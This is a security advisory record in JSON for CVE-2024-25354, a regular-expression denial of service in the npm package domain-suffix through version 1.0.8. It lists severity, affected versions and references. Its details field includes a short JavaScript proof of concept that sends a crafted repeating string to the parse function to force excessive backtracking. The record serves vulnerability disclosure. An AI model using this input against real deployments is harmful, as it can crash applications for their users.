{"id":"GHSA-cqfh-c4c5-c2hg","summary":"domain-suffix RegEx Denial of Service","details":"RegEx Denial of Service in domain-suffix 1.0.8 allows attackers to crash the application via crafted input to the parse function.\n\n## PoC\n```js\nasync function exploit() {\n   const domainsuffix = require(\\\"domain-suffix\\\");\n   // Crafting a string that will cause excessive backtracking\n   const maliciousInput = \\\"a.\\\".repeat(10000) + \\\"b\\\"; // This will create a long sequence of \\\"a.\\\" followed by \\\"b\\\"\n   const result = await domainsuffix.domainSuffix.parse(maliciousInput);\n}\nawait exploit();\n```","aliases":["CVE-2024-25354"],"modified":"2025-09-03T15:16:09Z","published":"2024-03-28T00:31:40Z","database_specific":{"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2024-08-29T18:02:23Z","nvd_published_at":"2024-03-27T22:15:10Z","cwe_ids":["CWE-1333"]},"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-25354"},{"type":"WEB","url":"https://gist.github.com/6en6ar/c3b11b4058b8e2bc54717408d451fb79"},{"type":"PACKAGE","url":"https://github.com/ikrong/domain-suffix"},{"type":"WEB","url":"https://github.com/ikrong/domain-suffix/blob/master/src/domainSuffix.ts"}],"affected":[{"package":{"name":"domain-suffix","ecosystem":"npm","purl":"pkg:npm/domain-suffix"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"1.0.8"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/03/GHSA-cqfh-c4c5-c2hg/GHSA-cqfh-c4c5-c2hg.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}]}